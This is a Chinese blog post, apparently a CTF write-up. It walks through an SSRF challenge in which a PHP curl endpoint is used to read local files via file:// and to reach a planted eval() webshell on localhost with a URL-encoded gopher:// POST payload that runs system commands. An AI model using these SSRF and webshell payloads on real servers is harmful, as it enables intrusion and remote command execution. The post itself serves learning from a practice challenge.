A-A+

益智的 CTF 结局竟然是flag{Th1s_EaSy_sSRF} 你逗我?

2020年04月21日 18:15 漏洞安全 暂无评论 阅读 726 views 次

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】

朋友发来一道题地址是:http://152.136.63.75:8016/  说是一道CTF,然后访问看看,源码如下:

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    $re = curl_exec($ch);
    curl_close($ch);
    return $re;
}
if(!empty($_GET['url'])){
    $url = $_GET['url'];
    curl($url);
}else{
    highlight_file(__FILE__); 
}

看到这个的我,哎呦,可以访问内网的URL ? SSRF ?
然后没有任何信息了。其实到了这种情况下应该祭出扫描器开始狂扫了。不一会朋友说看
User-agent: *
Disallow: /webshe11231231231.php
哦,然后我访问 http://152.136.63.75:8016/robots.txt 果然,里面还是有一些信息的。

既然得到重要的webshe11231231231.php了,那就访问一下看看。http://152.136.63.75:8016/webshe11231231231.php 就提示:This is webshell ,然后毛都没有了。
还记得刚刚index.php那个么,很明显可以远程加载文件那就不客气。直接访问:
http://152.136.63.75:8016/?url=file:///var/www/html/webshe11231231231.php
得到如下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$serverList = array(
    "127.0.0.1"
);
$ip = $_SERVER['REMOTE_ADDR'];
foreach ($serverList as $host) {
    if ($ip === $host) {
        if ((!empty($_POST['admin'])) and $_POST['admin'] === 'h1admin') {
            @eval($_POST['hacker']);
        } else {
            die("You aren't admin!");
        }
    } else {
        die('This is webshell');
    }
}

哎呦,,,,我瞬间似乎就想到了答案。然后组织组织,是不是可以这样

POST /?url=http://127.0.0.1:8016/webshe11231231231.php HTTP/1.1
Host: 152.136.63.75:8016
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 42.3.89.15
client-ip: 42.3.89.15
Connection: close
Content-Length: 37

admin=h1admin&hacker=ls

嘿嘿嘿,,,凸(艹皿艹 ),,,提示【You aren't admin!】

一脸懵逼,WHY???因为手头没有测试工具,是单位电脑不是家里电脑,工具不全。咋办?不过听朋友说,下面post的参数传不过去。

唔。。。。。。。这个。。。。。。思路一时阻止不前。。。。。。呃,不经常打CTF,没那么多经验,不过按之前的打过那两次的经验来看,问题指定在协议,那就查查都支持什么协议。。然后发现:

PHP 里的 cUrl
PHP 里有 libcurl 库

能够连接通讯各种服务器、使用各种协议。libcurl 目前支持的协议有 http、https、ftp、gopher、telnet、dict、file、ldap。 libcurl 同时支持 HTTPS 证书、HTTP POST、HTTP PUT、 FTP 上传(也能通过 PHP 的 FTP 扩展完成)、HTTP 基于表单的上传、代理、cookies、用户名+密码的认证。
文章来源:https://caihongtengxu.github.io/2018/20180914/index.html

思考了一下,这里能用到的绝壁有限,,,然后百度了一下相关协议发现:

gopher协议支持发出GET、POST请求:可以先拦截get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。

可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。
文章来源:https://blog.csdn.net/Z_Grant/article/details/102913575

哎呦,兄弟,这么牛逼么。。。。既然如此,那答案就解开了。

构造一下:
可以通过http://ld8.me/jjm/进行url编码

http://152.136.63.75:8016/?url=gopher://127.0.0.1:80/_POST%2520%252Fwebshe11231231231.php%2520HTTP%252F1.1%250d%250AHost%253A%2520localhost%250d%250AUser-Agent%253A%2520Mozilla%252F5.0%2520Firefox%252F55.0%250d%250AAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%2520xml%252Capplication%252Fxml%253Bq%253D0.9%252C*%252F*%253Bq%253D0.8%250d%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Cen-US%253Bq%253D0.5%252Cen%253Bq%253D0.3%250d%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250d%250ACookie%253A%2520https%253Dwoj.app%253B%250d%250AConnection%253A%2520close%250d%250AContent-Length%253A%252034%250d%250A%250d%250Aadmin%253Dh1admin%2526hacker%253Dsystem('ls')%253B

这个就是我们构造好的数据,这里有一个点一定一定要【注意】【注意】【注意】把数据包进行URL编码后,一定要替换一下换行和回车。把里面的所有的%250A都替换成%250D%250A 不替换那是不行的。。。。

这里的换行回车就如同
回车 代码:CR ASCII码:/ r ,十六进制,0x0d,回车的作用只是移动光标至该行的起始位置;
换行 代码:LF ASCII码:/ n ,十六进制,0x0a,换行至下一行行首起始位置;
Dos和Windows采用回车+换行(CR+LF)表示下一行 也就是 \r\n
而UNIX/Linux采用换行符(LF)表示下一行
苹果机(MAC OS系统)则采用回车符(CR)表示下一行
所以一定要加入换行。。

最后得到如下文件:

fl1234aaaaaggggg.php 
index.php 
robots.txt 
webshe11231231231.php

既然这样就算是过关了,我们再拿一下flag完事了就。

http://152.136.63.75:8016/?url=file:///var/www/html/fl1234aaaaaggggg.php

##得到如下源码:
<?php $flag="flag{Th1s_EaSy_sSRF}";?>

手工,完活。。。。

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×
标签:

给我留言